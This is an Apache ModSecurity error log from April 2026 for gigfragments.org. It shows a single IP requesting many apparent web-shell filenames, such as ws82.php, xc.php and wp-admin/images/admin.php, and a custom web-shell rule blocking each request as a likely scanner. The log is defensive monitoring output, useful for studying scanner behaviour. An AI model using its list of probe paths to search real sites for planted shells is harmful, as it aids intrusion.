[Wed Apr 01 21:07:37.485006 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:4088] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classgoto24.php"] [unique_id "ac0YmT7Idlm5j9frhqQ1NgAAAEE"]
[Wed Apr 01 21:07:38.571250 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:4051] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classgoto24.php"] [unique_id "ac0YmjvP_a0662gDl6DLaAAAAMs"]
[Wed Apr 01 21:07:39.117755 2026] [:error] [pid 8909:tid 8944] [client 52.156.211.140:3994] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classgoto24.php"] [unique_id "ac0YmzvP_a0662gDl6DLaQAAAMM"]
[Wed Apr 01 21:07:39.624809 2026] [:error] [pid 8910:tid 8970] [client 52.156.211.140:3937] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classgoto24.php"] [unique_id "ac0Ym6JZINUcF3tYgExingAAAQI"]
[Wed Apr 01 21:07:40.189547 2026] [:error] [pid 8910:tid 8982] [client 52.156.211.140:4035] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ac0YnKJZINUcF3tYgExiogAAAQ4"]
[Wed Apr 01 21:07:40.697154 2026] [:error] [pid 62559:tid 62564] [client 52.156.211.140:4000] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ac0YnC7NKI8IaNKZFIegvQAAAUM"]
[Wed Apr 01 21:07:41.218614 2026] [:error] [pid 8995:tid 9003] [client 52.156.211.140:4086] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ac0YneonaBjs3qxcRefK2wAAAAU"]
[Wed Apr 01 21:07:41.736650 2026] [:error] [pid 8909:tid 8964] [client 52.156.211.140:37244] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ac0YnTvP_a0662gDl6DLbgAAANc"]
[Wed Apr 01 21:07:42.264131 2026] [:error] [pid 17856:tid 17859] [client 52.156.211.140:37030] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws43.php"] [unique_id "ac0Ynj7Idlm5j9frhqQ1PQAAAEE"]
[Wed Apr 01 21:07:42.797341 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:3997] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws43.php"] [unique_id "ac0YnjvP_a0662gDl6DLeQAAANY"]
[Wed Apr 01 21:08:16.459131 2026] [:error] [pid 8909:tid 8953] [client 52.156.211.140:37193] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac0YwDvP_a0662gDl6DL9AAAAMw"]
[Wed Apr 01 21:08:16.985870 2026] [:error] [pid 17856:tid 17861] [client 52.156.211.140:3914] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac0YwD7Idlm5j9frhqQ1kgAAAEM"]
[Wed Apr 01 21:08:17.512184 2026] [:error] [pid 8995:tid 9009] [client 52.156.211.140:3984] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac0YweonaBjs3qxcRefLBwAAAAs"]
[Wed Apr 01 21:08:18.058859 2026] [:error] [pid 17856:tid 17879] [client 52.156.211.140:37052] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac0Ywj7Idlm5j9frhqQ1lgAAAFU"]
[Wed Apr 01 21:08:18.568553 2026] [:error] [pid 62559:tid 62578] [client 52.156.211.140:3981] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "ac0Ywi7NKI8IaNKZFIehFQAAAVE"]
[Wed Apr 01 21:08:19.139711 2026] [:error] [pid 62559:tid 62582] [client 52.156.211.140:3931] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "ac0Ywy7NKI8IaNKZFIehFwAAAVU"]
[Wed Apr 01 21:08:20.649251 2026] [:error] [pid 8995:tid 9019] [client 52.156.211.140:4067] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "ac0YxOonaBjs3qxcRefLEwAAABU"]
[Wed Apr 01 21:08:21.151308 2026] [:error] [pid 17856:tid 17872] [client 52.156.211.140:4031] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "ac0YxT7Idlm5j9frhqQ1nwAAAE4"]
[Wed Apr 01 21:08:21.651281 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:37036] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ac0YxTvP_a0662gDl6DL-gAAANM"]
[Wed Apr 01 21:08:22.157018 2026] [:error] [pid 62559:tid 62578] [client 52.156.211.140:4017] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ac0Yxi7NKI8IaNKZFIehHQAAAVE"]
[Wed Apr 01 21:08:22.671640 2026] [:error] [pid 8908:tid 8936] [client 52.156.211.140:4083] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ac0YxvkmxtJXGnLdvgCLLQAAAJc"]
[Wed Apr 01 21:08:23.189327 2026] [:error] [pid 17856:tid 17870] [client 52.156.211.140:37048] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "ac0Yxz7Idlm5j9frhqQ1qAAAAEw"]
[Wed Apr 01 21:08:24.698247 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:4041] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0YyOonaBjs3qxcRefLHwAAAAQ"]
[Wed Apr 01 21:08:25.219463 2026] [:error] [pid 62559:tid 62572] [client 52.156.211.140:3992] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0YyS7NKI8IaNKZFIehKQAAAUs"]
[Wed Apr 01 21:08:25.758935 2026] [:error] [pid 8995:tid 9004] [client 52.156.211.140:37211] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0YyeonaBjs3qxcRefLJQAAAAY"]
[Wed Apr 01 21:08:26.301740 2026] [:error] [pid 8995:tid 9011] [client 52.156.211.140:4006] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac0YyuonaBjs3qxcRefLKAAAAA0"]
[Wed Apr 01 21:08:26.825078 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:37054] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "ac0YyuonaBjs3qxcRefLKgAAAAQ"]
[Wed Apr 01 21:08:27.346251 2026] [:error] [pid 8908:tid 8921] [client 52.156.211.140:37038] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "ac0Yy_kmxtJXGnLdvgCLOwAAAIg"]
[Wed Apr 01 21:08:27.874428 2026] [:error] [pid 8909:tid 8962] [client 52.156.211.140:4050] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "ac0YyzvP_a0662gDl6DMDgAAANU"]
[Wed Apr 01 21:08:28.973643 2026] [:error] [pid 8908:tid 8924] [client 52.156.211.140:3983] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp3.php"] [unique_id "ac0YzPkmxtJXGnLdvgCLPQAAAIs"]
[Wed Apr 01 21:08:30.250347 2026] [:error] [pid 8909:tid 8941] [client 52.156.211.140:3923] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac0YzjvP_a0662gDl6DMHQAAAMA"]
[Wed Apr 01 21:08:30.752579 2026] [:error] [pid 8908:tid 8917] [client 52.156.211.140:4015] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac0YzvkmxtJXGnLdvgCLQQAAAIQ"]
[Wed Apr 01 21:08:31.278461 2026] [:error] [pid 8909:tid 8964] [client 52.156.211.140:3916] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac0YzzvP_a0662gDl6DMIAAAANc"]
[Wed Apr 01 21:08:31.793161 2026] [:error] [pid 8909:tid 8949] [client 52.156.211.140:3844] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac0YzzvP_a0662gDl6DMJQAAAMg"]
[Wed Apr 01 21:08:32.313668 2026] [:error] [pid 8909:tid 8955] [client 52.156.211.140:37199] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "ac0Y0DvP_a0662gDl6DMKgAAAM4"]
[Wed Apr 01 21:08:32.829174 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:4019] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "ac0Y0DvP_a0662gDl6DMMQAAANY"]
[Wed Apr 01 21:08:33.329181 2026] [:error] [pid 8909:tid 8951] [client 52.156.211.140:4094] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "ac0Y0TvP_a0662gDl6DMNQAAAMo"]
[Wed Apr 01 21:08:33.900769 2026] [:error] [pid 8908:tid 8930] [client 52.156.211.140:37203] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "ac0Y0fkmxtJXGnLdvgCLTgAAAJE"]
[Wed Apr 01 21:08:34.406784 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:37240] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d2.php"] [unique_id "ac0Y0jvP_a0662gDl6DMPgAAANA"]
[Wed Apr 01 21:08:34.925158 2026] [:error] [pid 8909:tid 8948] [client 52.156.211.140:37003] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d2.php"] [unique_id "ac0Y0jvP_a0662gDl6DMQAAAAMc"]
[Wed Apr 01 21:08:35.429551 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:4052] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d2.php"] [unique_id "ac0Y0zvP_a0662gDl6DMRAAAAMQ"]
[Wed Apr 01 21:08:35.931974 2026] [:error] [pid 62559:tid 62576] [client 52.156.211.140:3935] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d2.php"] [unique_id "ac0Y0y7NKI8IaNKZFIehLQAAAU8"]
[Wed Apr 01 21:08:36.454279 2026] [:error] [pid 8995:tid 9009] [client 52.156.211.140:3996] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "ac0Y1OonaBjs3qxcRefLNwAAAAs"]
[Wed Apr 01 21:08:36.955078 2026] [:error] [pid 8908:tid 8932] [client 52.156.211.140:37034] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "ac0Y1PkmxtJXGnLdvgCLVAAAAJM"]
[Wed Apr 01 21:08:37.460060 2026] [:error] [pid 8909:tid 8944] [client 52.156.211.140:4007] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "ac0Y1TvP_a0662gDl6DMWwAAAMM"]
[Wed Apr 01 21:08:37.958862 2026] [:error] [pid 8908:tid 8929] [client 52.156.211.140:4025] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc.php"] [unique_id "ac0Y1fkmxtJXGnLdvgCLWAAAAJA"]
[Wed Apr 01 21:08:38.461956 2026] [:error] [pid 8908:tid 8935] [client 52.156.211.140:4008] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "ac0Y1vkmxtJXGnLdvgCLXQAAAJY"]
[Wed Apr 01 21:08:39.003892 2026] [:error] [pid 62559:tid 62567] [client 52.156.211.140:4062] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "ac0Y1y7NKI8IaNKZFIehMwAAAUY"]
[Wed Apr 01 21:08:39.519042 2026] [:error] [pid 17856:tid 17858] [client 52.156.211.140:4060] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "ac0Y1z7Idlm5j9frhqQ1sAAAAEA"]
[Wed Apr 01 21:08:40.032107 2026] [:error] [pid 62559:tid 62574] [client 52.156.211.140:37055] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "ac0Y2C7NKI8IaNKZFIehNwAAAU0"]
[Wed Apr 01 21:08:40.535538 2026] [:error] [pid 8910:tid 8979] [client 52.156.211.140:4040] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "ac0Y2KJZINUcF3tYgExi3QAAAQs"]
[Wed Apr 01 21:08:41.037964 2026] [:error] [pid 8995:tid 9021] [client 52.156.211.140:3967] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "ac0Y2eonaBjs3qxcRefLPQAAABc"]
[Wed Apr 01 21:08:42.553589 2026] [:error] [pid 62559:tid 62579] [client 52.156.211.140:3910] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "ac0Y2i7NKI8IaNKZFIehQQAAAVI"]
[Wed Apr 01 21:08:43.057096 2026] [:error] [pid 62559:tid 62567] [client 52.156.211.140:3864] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "ac0Y2y7NKI8IaNKZFIehRAAAAUY"]
[Wed Apr 01 21:08:43.567518 2026] [:error] [pid 8908:tid 8928] [client 52.156.211.140:4076] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ac0Y2_kmxtJXGnLdvgCLawAAAI8"]
[Wed Apr 01 21:08:44.073246 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:3995] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ac0Y3DvP_a0662gDl6DMcAAAANM"]
